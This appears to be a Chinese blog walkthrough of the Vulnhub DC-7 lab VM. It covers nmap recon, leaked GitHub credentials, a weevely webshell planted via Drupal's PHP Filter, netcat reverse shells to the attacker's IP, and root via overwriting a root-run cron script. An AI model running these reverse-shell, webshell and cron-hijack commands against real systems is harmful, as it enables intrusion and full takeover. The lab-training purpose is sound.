前言
這次練習的靶機是vulnhub平臺下的DC系列靶機第7臺,下載地址為https://www.vulnhub.com/entry/dc-7,356/,挑戰該靶機的最終目的是獲取root權限,然后讀取唯一的flag,這臺靶機中用暴力破解成功的概率非常小,我們需要開闊思路,尋找非技術上的方法,
虛擬機配置
這次采用的網路連接模式依然是NAT模式,為了避免掃描到其他物理主機,在匯入虛擬機后,右擊DC-6靶機,然后選中配置,依次點擊網路配置
->NAT模式
->高級
->生成
,然后確認即可,
收集資訊
nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24
-sn 代表存活主機掃描,不進行埠測探,
–min-parallelism 代表調整探測報文的并行度,也就是在掃描同一臺主機時會發送很多個探測資料包,這個引數指定的數即nmap一次至少要發多少個資料包,
–min-hostgroup 代表調整并行掃描組的大小,也就是一次性同時對多少臺主機進行掃描,
更詳細內容可以參考:https://zhuanlan.zhihu.com/p/322244582,關于nmap的一些性能引數的學習,
發現靶機的IP地址為 192.168.119.167
,然后用nmap對靶機進行詳細地掃描,
nmap -A -sV -p- --min-parallelism 200 192.168.119.167
-A 代表綜合性掃描,能收集很多重要的資訊
-sV 代表掃描主要的服務資訊
-p- 引數p是指定埠,后面的
-
代表所有埠,
發現開放了 80
埠和 22
埠,還發現了一些敏感目錄,用瀏覽器打開網頁進一步收集更多的資訊,
看網頁上面的提示,這些英文翻譯如下:
歡迎來到DC-7
DC-7引入了一些“新”概念,但我將讓你自己去弄清楚它們是什么,: -)
雖然這個挑戰并不完全是技術性的,但如果你需要訴諸暴力破解或字典攻擊,你可能不會成功,
你要做的,就是跳出框框去思考,
在盒子外面,:-)
盒子外面指的就是借助搜索引擎來收集敏感資訊,如果你經常看實戰類文章的話,就會發現很多情況下可以在github上找到目標網站原始碼,并在原始碼中發現資料庫的密碼,所以我們也來嘗試一下搜索該網站的原始碼,
在底部能發現作者的id,我們就通過這個id來搜索該網站的原始碼,
果然在github搜索到了一個名為 Dc7User
的用戶,查看一下該用戶有沒有相關的原始碼,
該用戶有一個專案,打開看了看,發現該專案與靶機DC-7上網站結構相似,估計這個就是靶機上網站的原始碼了,把它下載下來,地址為: https://github.com/Dc7User/staffdb.git
,
proxychains git clone https://github.com/Dc7User/staffdb.git
proxychains是一個代理程式,因為github的服務器在國外,所以通過代理程式下載速度會大大提高,該程式具體用法可以參考:https://www.jianshu.com/p/3f392367b41f,Ubuntu系統中使用ProxyChains設定網路代理
git clone 是將指定地址的程式克隆下來,
進入目錄 staffdb
,發現了一個組態檔 config.php
,在這個組態檔中發現了資料庫的賬號和密碼:dc7user
,MdR3xOgB7#dW
,
cd staffdb
cat config.php
尋找線索
已經得到了一個賬號和密碼,可以用這個賬號去嘗試一下遠程mysql登陸,網站后臺登陸,ssh登陸,能用得到賬號密碼的地方盡量嘗試一下,最終發現這個賬號可以通過ssh登陸,
ssh dc7user@192.168.119.167
獲取到shell后第一步當然是嘗試一下suid提權啦,但是發現這臺靶機無法通過suid提權,按照經驗下一步就應該登陸資料庫查找關鍵資訊或者到用戶的家里面看看,但是發現mysql登陸不上,那就到用戶的家里面看看吧,
cd /home/dc7user
ls -la
歷史記錄都指向了黑洞檔案,發現備份檔案夾 backups
里面有兩個備份檔案,但是都加密了,還有一個郵件檔案,打開這個郵件檔案看看,
cat mbox
通過郵件發現系統每隔15分鐘 就會執行一次 /opt/scripts/backups.sh
來備份資料庫,而且是以root的身份來執行該腳本,接下來看看能不能修改該腳本,
cd /opt/scripts/
ls -la
查看權限得知,自己只能讀取該和執行該檔案,但是發現屬于 www-data
用戶組的賬號是可以修改該檔案的,一般情況下,通過一句話木馬建立的webshell都是以 www-data
用戶運行的,所以下一步就是獲取一個webshell,
建立webshell
既然有對backups.sh的r權限,那么就查看一下這個檔案
cat backups.sh
發現這個sh檔案里面使用了drush程式,一開始不知道drush的作用是什么,后來通過搜索引擎得知這是一個專門管理drupal網站的一個程式,也可以通過該程式直接修改用戶密碼,如果想用drush管理一個網站,那么就必須先跳轉到那個網站的目錄下,接下來就修改管理員 admin
的密碼,
cd /var/www/html
drush user-password admin --password="admin"
user-password 后面跟著需要修改的用戶,
–password 后面為需要設定的密碼,
修改密碼成功,現在就可以登陸網站后臺了,并把一句話木馬寫入網頁中,
依次點擊 Manage
,Content
,Edit
,然后編輯頁面,
但是在編輯頁面發現不可以寫入php代碼,后來經過查詢發現該網站可以安裝一個模塊后就可以寫入php代碼了,模塊的下載地址為 https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
,
下面就準備匯入模塊,依次點擊 Manage
,Extend
,Install new module
,
然后在第一個文本框內填入模塊地址,點擊 install
按鈕進行安裝,
安裝完成后會出現如下圖所示界面,現在還不能用該模塊,需要開啟后才能使用,所以需要點擊 Enable newly added modules
來開啟這個模塊,
找到 PHP Filter
并勾選該選項,然后點擊最底部的 install
,
開啟 PHP Filter
成功后會出現下面這個界面,
再次回到編輯頁面時發現現在可以寫入PHP代碼了,
用weevely生成一個木馬,
weevely generate a a.php
generate 代表生成木馬
a 為木馬連接時的密碼
a.php 為木馬的檔案名
然后將 a.php
里面的內容粘貼到編輯頁面的打文本框里面,檔案格式選擇 PHP Code
,然后點擊 Save
進行保存,
保存后點擊剛剛修改頁面的標簽就會跳轉到該頁面,這樣就知道該頁面的地址了,
從瀏覽器的地址欄得出該頁面的地址為:http://192.168.119.167/node/3
,
接下來用weevely進行連接,
weevely http://192.168.119.167/node/3 a
a 為生成木馬時設定的密碼
反彈shell
發現該webshell無法使用cd命令,用 echo $0
來查看當前使用的shell程式,發現是sh,
通過nc反彈一個基于bash的shell可以解決這一問題,nc反彈shell的詳細內容已經在前面多次講解,這里就不再詳細講解,只說明操作程序,
在kali本地終端上執行:
rlwrap nc -lvnp 4443
然后在webshell上執行
nc 192.168.119.130 4443 -e /bin/bash
現在已經反彈shell成功了,再回到本地終端執行一下命令升級shell,
python -c 'import pty;pty.spawn("/bin/bash")'
提權
現在的shell是以www-data
用戶來運行的,所以對backups.sh
具有修改權限,
所以我們將反彈shell的命令寫入 backups.sh 等待系統自動運行即可,因為剛剛在郵箱中發現系統每15分鐘就會以root的權限執行一次backups.sh,所以用root權限反彈shell就會獲取root權限,執行一下命令
cd /opt/scripts
echo "nc 192.168.119.130 4445 -e /bin/bash" > backups.sh
注意IP地址為本地kali的IP地址,
然后再本地監聽4445埠,
rlwrap nc -lvnp 4445
接下來就去洗個碗,洗完回來差不多就已經獲取root權限了,看到下圖紅框中文字說明反彈shell成功,
cat /root/theflag.txt
成功!還可以通過 passwd
命令直接修改root的密碼,
參考文獻
[1] http://drupalchina.cn/node/3709,Drush的安裝配置和應用
[2] https://blog.csdn.net/weixin_43583637/article/details/102809227,Vulnhub靶機實戰——DC-7
[3] https://www.jianshu.com/p/3f392367b41f,Ubuntu系統中使用ProxyChains設定網路代理
[4] https://zhuanlan.zhihu.com/p/322244582,關于nmap的一些性能引數的學習,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/295570.html
標籤:其他
上一篇:《小迪網路安全筆記》 第十二節:WEB漏洞-SQL注入之簡要SQL注入
下一篇:永恒之藍MS17-010漏洞利用